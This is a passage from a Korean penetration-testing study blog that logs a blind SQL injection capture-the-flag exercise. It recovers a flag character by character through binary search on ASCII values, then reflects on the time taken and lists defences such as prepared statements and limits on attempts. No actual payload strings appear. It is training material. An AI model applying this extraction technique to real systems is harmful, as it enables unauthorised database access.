참. 98이상 126이하. 112 넣어봄.
참. 112이상 126이하. 119 넣어봄.
참. 119이상 126이하. 123 넣어봄.
거짓. 119이상 123이하. 121 넣어봄.
참. 121이상 123이하. 122 넣어봄.
거짓. 122와 같은지 확인.
참. 17번째 글자는 122 -> 소문자 z
========> 17번째 글자: 소문자 z
18번째 글자를 70과 비교
참. 70이상 126이하. 112 넣어봄.
거짓. 70이상 112이하. 98 넣어봄.
거짓. 70이상 98이하. 80 넣어봄.
참. 80이상 98이하. 89 넣어봄.
참. 89이상 98이하. 94 넣어봄.
참. 94이상 98이하. 96 넣어봄.
거짓. 94이상 96이하. 95 넣어봄.
거짓. 95와 같은지 확인.
참. 18번째 글자는 95 -> 밑줄 _
========> 18번째 글자: _
19번째 글자와 95 비교.
참. 95이상 126이하. 111 넣어봄.
거짓. 95이상 111이하. 103 넣어봄.
거짓. 95이상 103이하. 99 넣어봄.
참. 99이상 103이하. 101 넣어봄.
참. 101이상 103이하. 102 넣어봄.
거짓. 101이상 102이하. 102와 같은지 비교.
참. 19번째 글자는 102 -> 소문자 f
========> 19번째 글자: 소문자 f
20번째 글자와 102 비교.
참. 102이상 126이하. 114와 비교.
거짓. 102이상 114이하. 108 넣어봄.
거짓. 102이상 108이하. 105 넣어봄.
거짓. 102이상 105이하. 103 넣어봄.
참. 103이상 105이하. 104 넣어봄.
참. 104이상 105이하. 105와 같은지 확인.
참. 20번째 글자는 105 -> 소문자 i
=======> 20번째 글자: 소문자 i
21번째 글자와 70 비교.
참. 70이상 126이하. 105랑 비교.
참. 105이상 126이하. 116 넣어봄.
거짓. 105이상 116이하. 110 넣어봄.
참. 110이상 116이하. 113 넣어봄.
참. 113이상 116이하. 115 넣어봄.
거짓. 113이상 115이하. 114 넣어봄.
거짓. 113이상 114이하. 114와 같은지 확인.
참. 21번째 글자는 114 -> 소문자 r
========> 21번째 글자: 소문자 r
22번째 글자와 114 비교.
참! 114이상 126이하. 120 넣어봄.
거짓. 114이상 120이하. 117 넣어봄.
거짓. 114이상 117이하. 116 넣어봄.
거짓. 114이상 116이하. 115 넣어봄.
거짓. 114이상 115이하. 115와 같은지 확인.
참. 22번째 글자는 115 -> 소문자 s
========> 22번째 글자: 소문자 s
23번째 글자와 115 비교.
참!! 115이상 126이하. 120 넣어봄.
거짓. 115이상 120이하. 117 넣어봄,
거짓. 115이상 117이하. 116 넣어봄.
거짓. 115이상 116이하. 116과 같은지 확인.
참. 23번째 글자는 116 -> 소문자 t
========> 23번째 글자: 소문자 t
24번째 글자와 100 비교.
거짓. 33이상 100이하. 80 넣어봄.
거짓. 33이상 80이하. 65 넣어봄.
참. 65이상 80이하. 72 넣어봄.
거짓. 65이상 72이하. 69 넣어봄.
거짓. 65이상 69이하. 67 넣어봄.
거짓. 65이상 67이하. 66 넣어봄.
거짓. 65랑 같은지 비교해봄.
거짓. 24번째 글자는 66 -> 대문자 B
=======> 24번째 글자: 대문자 B
25번째 글자와 70 비교.
참. 70이상 126이하. 98 넣어봄.
참. 98이상 126이하. 112 넣어봄.
거짓. 98이상 112이하. 105 넣어봄.
참. 105이상 112이하. 108과 같은지 비교.
참. 25번째 글자는 108 -> 소문자 l
=======> 25번째 글자: 소문자 l
26번째 글자와 105가 같은지 비교.
참. 26번째 글자는 105 -> 소문자 i
=======> 26번째 글자: 소문자 i
27번째 글자와 110이 같은지 비교.
참. 27번째 글자는 110 -> 소문자 n
======> 27번째 글자: 소문자 n
28번째 글자와 100이 같은지 비교.
참. 28번째 글자는 100 -> 소문자 d
=======> 28번째 글자: 소문자 d
29번째 글자와 70 비교.
참. 70이상 126이하. 98 넣어봄.
거짓. 70이상 98이하. 84 넣어봄,
거짓. 70이상 84이하. 77 넣어봄.
참. 77이상 84이하. 80 넣어봄.
참. 80이상 84이하. 82 넣어봄.
참. 82이상 84이하. 83 넣어봄.
거짓. 82이상 83이하. 83과 같은지 확인.
참. 29번째 글자는 83 -> 대문자 S
======> 29번째 글자: 대문자 S
30번째 글자를 83과 비교.
참. 83이상 126이하. 103 넣어봄.
참. 103이상 126이하. 114 넣어봄.
거짓. 103이상 114이하. 108 넣어봄.
참. 108이상 114이하. 111 넣어봄.
참. 111이상 114이하. 113 넣어봄.
거짓. 111이상 113이하. 112 넣어봄.
참. 112이상 113이하. 113과 같은지 확인.
참. 30번째 글자는 113 -> 소문자 q
======> 30번째 글자: 소문자 q
31번째 글자와 108이 같은지 비교.
참. 31번째 글자는 108 -> 소문자 l
=======> 31번째 글자: 소문자 l
32번째 글자와 105가 같은지 비교.
참. 32번째 글자는 105 -> 소문자 i
========> 32번째 글자: 소문자 i
33번째 글자와 125가 같은지 비교.
참. 33번째 글자는 125 -> 닫는 중괄호 }
=====> 33번째 글자: 닫는 중괄호 }
최종 플래그
segfault{Congratz_firstBlindSqli}
성공...
크흑...
약 3시간 30분정도 걸렸을 듯.
생각보다는 적게 걸림. 테이블이나 컬럼 이름이 예상이 가서 시간이 단축된 면도 있음.
파이썬은 얼마나 걸리려나.
만들어봐야지.
대응 방안으로는 error-based sql injection처럼 필터링, 이스케이프, WAF, 프리페어드 등이 있겠지만
Blind SQL Injection은 한 땀 한 땀 글자를 찾아야하는 만큼 입력 횟수에 제한을 두는 방법이 효과적일 것 같다.
입력 횟수 제한을 둔다고 해도 입력값을 쿼리로 인식하는 한 다른 SQLi 기법은 못 막을 수 있기 때문에 확실한 대응 방안을 마련하는 것이 바람직하겠다.
'모의해킹 스터디 복습' 카테고리의 다른 글
모의해킹 스터디 8주차(2): SQL Injection 대응 방법 (1) | 2024.12.11 |
---|---|
모의해킹 스터디 8주차(1): SQL Injection 포인트 찾기 (1) | 2024.12.11 |
모의해킹 스터디 7주차(1): Error-Based SQL Injection (1) | 2024.12.01 |
모의해킹 스터디 6주차: UNION SQL Injection (0) | 2024.11.24 |
모의해킹 스터디 5주차: 로그인, 인증 우회 복습 (1) | 2024.11.19 |